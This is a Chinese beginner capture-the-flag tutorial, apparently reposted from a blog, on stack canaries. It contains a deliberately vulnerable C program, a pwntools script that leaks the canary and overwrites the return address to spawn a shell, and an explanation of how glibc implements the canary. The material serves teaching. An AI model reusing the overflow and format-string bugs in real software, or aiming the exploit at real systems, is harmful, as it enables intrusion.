PWN菜鸡入门之CANARY探究

看门见码

 #include <stdio.h>
 #include <unistd.h>
 #include <stdlib.h>
 #include <string.h>
 void getshell(void) {
     system("/bin/sh");
  }
 void init() {
   setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
 }
 void vuln() {
   char buf[100];
   for(int i=0;i<2;i++){
         read(0, buf, 0x200);
         printf(buf);
   }
}
 int main(void) {
     init();
     puts("Hello Hacker!");
    vuln();
     return 0;
}

 

一、函数调用栈

函数调用栈示意图

  

二、编译为 32bit 程序,开启 NX,ASLR,Canary 保护

gcc -m32 -fno-stack-protector -o printf printf.c  //此为关闭canary
Linux在gcc是自动带开启canary的

、EXP

#!/usr/bin/env python
from pwn import *
​
context.binary = 'ex2'
#context.log_level = 'debug'
io = process('./ex2')
​
get_shell = ELF("./ex2").sym["getshell"]
​
io.recvuntil("Hello Hacker!\n")
​
# leak Canary
payload = "A"*100
io.sendline(payload)
​
io.recvuntil("A"*100)
Canary = u32(io.recv(4))-0xa
log.info("Canary:"+hex(Canary))
​
# Bypass Canary
payload = "\x90"*100+p32(Canary)+"\x90"*12+p32(get_shell)
io.send(payload)
​
io.recv()
​
io.interactive()

解释(个人观点):

  1. process载入

  2. 发送100个padding

  3. 等待接受完发送的100个padding

  4. 继续接收canary的值,减去0xa,是为了减去一个换行符,因为在Linux下的换行符大小是0xa

  5. 构造payload,先栈溢出的覆盖

  6. 发送canary的值以便检查

  7. 发送12个padding来覆盖canary的8个字节大小,4个ebp大小

  8. 覆盖返回地址以getshell

 

四、canary实现原理

当程序启用 Canary 编译后,在函数序言部分会取 fs 寄存器 0x28 处的值,存放在栈中 %ebp-0x8 的位置。 这个操作即为向栈中插入 Canary 值,代码如下:

mov    rax, qword ptr fs:[0x28]
mov    qword ptr [rbp - 8], rax

 

在函数返回之前,会将该值取出,并与 fs:0x28 的值进行异或。如果抑或的结果为 0,说明 canary 未被修改,函数会正常返回,这个操作即为检测是否发生栈溢出。

mov    rdx,QWORD PTR [rbp-0x8]
xor    rdx,QWORD PTR fs:0x28
je     0x4005d7 <main+65>
call   0x400460 <__stack_chk_fail@plt>

如果 canary 已经被非法修改,此时程序流程会走到 __stack_chk_fail__stack_chk_fail 也是位于 glibc 中的函数,默认情况下经过 ELF 的延迟绑定,定义如下。

eglibc-2.19/debug/stack_chk_fail.c
​
void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
  __fortify_fail ("stack smashing detected");
}
​
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminated\n",
                    msg, __libc_argv[0] ?: "<unknown>");
}

这意味可以通过劫持 __stack_chk_fail的 got 值劫持流程或者利用 __stack_chk_fail 泄漏内容 (参见 stack smash)。

进一步,对于 Linux 来说,fs 寄存器实际指向的是当前栈的 TLS 结构,fs:0x28 指向的正是 stack_guard。

typedef struct
{
  void *tcb;        /* Pointer to the TCB.  Not necessarily the
                       thread descriptor used by libpthread.  */
  dtv_t *dtv;
  void *self;       /* Pointer to the thread descriptor.  */
  int multiple_threads;
  uintptr_t sysinfo;
  uintptr_t stack_guard;
  ...
} tcbhead_t;

如果存在溢出可以覆盖位于 TLS 中保存的 Canary 值那么就可以实现绕过保护机制。

事实上,TLS 中的值由函数 security_init 进行初始化。

static void
security_init (void)
{
  // _dl_random的值在进入这个函数的时候就已经由kernel写入.
  // glibc直接使用了_dl_random的值并没有给赋值
  // 如果不采用这种模式, glibc也可以自己产生随机数
//将_dl_random的最后一个字节设置为0x0
  uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random);
​
  // 设置Canary的值到TLS中
  THREAD_SET_STACK_GUARD (stack_chk_guard);
​
  _dl_random = NULL;
}
​
//THREAD_SET_STACK_GUARD宏用于设置TLS
#define THREAD_SET_STACK_GUARD(value) \
  THREAD_SETMEM (THREAD_SELF, header.stack_guard, value)

 

 

猜你喜欢

转载自www.cnblogs.com/pwn2web/p/10346493.html